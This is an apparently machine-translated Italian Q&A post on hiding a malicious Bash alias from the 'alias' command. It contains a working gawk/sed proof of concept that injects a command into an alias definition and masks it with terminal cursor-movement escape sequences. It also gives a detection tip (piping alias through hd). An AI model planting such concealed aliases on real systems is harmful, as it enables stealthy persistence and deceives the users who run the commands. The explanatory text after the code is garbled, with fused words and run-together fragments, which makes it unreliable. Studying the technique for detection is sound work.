È possibile nascondere l'esistenza di un alias dannoso in Bash su un sistema Linux e farlo eseguire a sua insaputa?
È possibile nascondere l'esistenza di un alias dannoso in Bash su un sistema Linux e farlo eseguire a sua insaputa?
Risposte:
È possibile farlo aggiungendo l'alias esistente a quello dannoso e usando il movimento del cursore per nasconderlo se il aliascomando viene utilizzato per visualizzare le definizioni di alias. Non è un metodo perfettamente infallibile, ma potrebbe non essere rilevato per un po '. Tubazioni aliasattraverso hdvi mostrerà se ci sono sequenze di escape (movimento del cursore) nei vostri alias. Ecco una dimostrazione del concetto di come un comando dannoso potrebbe essere inserito in un alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sedcomando modifica un file chiamato "alias" sul posto - un vero script di questo tipo andrebbe per la gola e modificerebbe un vero file di script in modo che l'alias dannoso venga attivato alla successiva esecuzione.hidecome argomento, quindi è concepibile che tu possa ottenere un errore simile a quello riportato in questa domanda . Potrebbe essere possibile invertire le parti originali e dannose per influire su ciò, sebbene ciò interferirebbe con gli argomenti forniti all'alias. Viene effettuato un tentativo nello script sopra per contrassegnare la fine degli argomenti con --.&&, si potrebbe pipe uno all'altro e rendere lo script dannoso (rappresentato sopra con il semplice echocomando) funzione come stdinal stdoutpass-through o per modificare i dati come sta andando attraverso o per nascondere il suo esistenza ulteriormente non interferendo con altri reindirizzamentihidestringa potrebbe essere modificata per includere diversi movimenti del cursore e il testo dell'alias originale in modo che il aliascomando sembrerebbe mostrare l'alias non modificato invece di nasconderlo insieme alla parte dannosa.. aliases. Quindi puoi provare a utilizzare l'alias interessato e vedere come appare quando lo fai alias|hd.